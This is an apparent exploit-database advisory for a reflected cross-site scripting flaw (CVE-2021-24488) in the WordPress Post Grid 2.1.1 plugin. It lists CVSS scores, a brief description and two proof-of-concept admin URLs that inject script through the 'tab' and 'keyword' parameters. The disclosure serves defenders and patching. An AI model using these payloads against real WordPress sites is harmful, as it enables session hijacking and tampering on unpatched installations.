WordPress Post Grid 2.1.1 Cross Site Scripting

2022.02.04
Credit: 0xB9
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

# Exploit Title: WordPress Plugin Post Grid 2.1.1 - Cross Site Scripting (XSS) # Date: 3/16/2021 # Author: 0xB9 # Software Link: https://wordpress.org/plugins/post-grid/ # Version: 2.1.1 # Tested on: Windows 10 # CVE: CVE-2021-24488 1. Description: This plugin creates a post grid from any post types. The slider import search feature and tab parameter via plugin settings are vulnerable to reflected cross-site scripting. 2. Proof of Concept: wp-admin/edit.php?post_type=post_grid&page=post-grid-settings&tab="><script>alert(1)</script> wp-admin/edit.php?post_type=post_grid&page=import_layouts&keyword="onmouseover=alert(1)//


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